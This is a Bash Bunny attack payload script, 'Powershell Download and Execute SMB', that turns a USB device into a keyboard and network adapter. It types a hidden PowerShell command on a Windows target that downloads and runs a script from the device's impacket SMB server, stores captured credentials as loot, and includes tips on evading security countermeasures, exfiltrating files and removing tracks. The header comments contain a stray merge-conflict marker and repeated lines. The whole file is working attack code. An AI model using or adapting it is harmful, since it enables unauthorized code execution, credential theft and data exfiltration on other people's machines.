#!/bin/bash # # Title: Powershell Download and Execute SMB # Author: LowValueTarget # Version: 2.0 # Category: Powershell # Target: Windows XP SP3+ (Powershell) # Attackmodes: HID, RNDIS_ETHERNET # Firmware: >= 1.2 # # Quick HID attack to retrieve and run powershell payload from BashBunny SMBServer. Possibilities are limitless! # Credentials captured by are stored as loot. # Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures) # # Required tools: impacket ======= # Credentials captured by are stored as loot. # Ensure p.txt exists in payload directory (using .txt instead of .ps1 in case of security countermeasures) # # Required tools: impacket # # | Attack Stage | Description | # | ------------------- | ------------------------------| # | Stage 1 | Powershell | # | Stage 2 | Delivering powershell payload | # ATTACKMODE RNDIS_ETHERNET HID # SETUP LED SETUP REQUIRETOOL impacket # required for SMB server GET SWITCH_POSITION GET TARGET_HOSTNAME GET HOST_IP # DEFINE DIRECTORIES PAYLOAD_DIR=/root/udisk/payloads/$SWITCH_POSITION LOOTDIR_BB=/root/udisk/loot/psh_DownloadExecSMB mkdir -p /tmp/{l,p} # CHECK FOR POWERSHELL if [ ! -f ${PAYLOAD_DIR}/p.txt ]; then LED FAIL exit 1 fi cp -R ${PAYLOAD_DIR}/* /tmp/p/ # any additional assets will be available in tmp # GET HOSTNAME HOST=${TARGET_HOSTNAME} [[ -z "${HOST}" ]] && HOST="noname" COUNT=$(ls -lad ${LOOTDIR_BB}/${HOST}* | wc -l) COUNT=$((COUNT+1)) mkdir -p ${LOOTDIR_BB}/${HOST}-${COUNT} LOOTDIR_BB=${LOOTDIR_BB}/${HOST}-${COUNT} # START SMB SERVER LOGFILE=/tmp/l/psh_downloadsmb.log touch ${LOGFILE} python /tools/impacket/examples/smbserver.py -comment 'Public Share' s /tmp > ${LOGFILE} & # STAGE 1 - POWERSHELL LED STAGE1 RUN WIN "powershell -WindowStyle Hidden \"while (\$true) {If ((New-Object net.sockets.tcpclient(${HOST_IP},445)).Connected) {iex (New-Object Net.WebClient).DownloadString('\\\\${HOST_IP}\\s\\p\\p.txt');New-Item \\\\${HOST_IP}\\s\\COMPLETE -ItemType file;exit}}\"" # TIP: To exfil any data, upload to \\172.16.64.1\s\l\ -- this will be copied to the BB as loot # TIP: Remove tracks in the psh payload if you wish # STAGE 2 - HURRY UP AND WAIT LED STAGE2 while ! [ -f /tmp/COMPLETE ]; do sleep 0.5; done # CLEANUP LED CLEANUP # STASH THE LOOT mv /tmp/l/* ${LOOTDIR_BB}/ rm -rf /tmp/{l,p} # Sync file system sync LED FINISH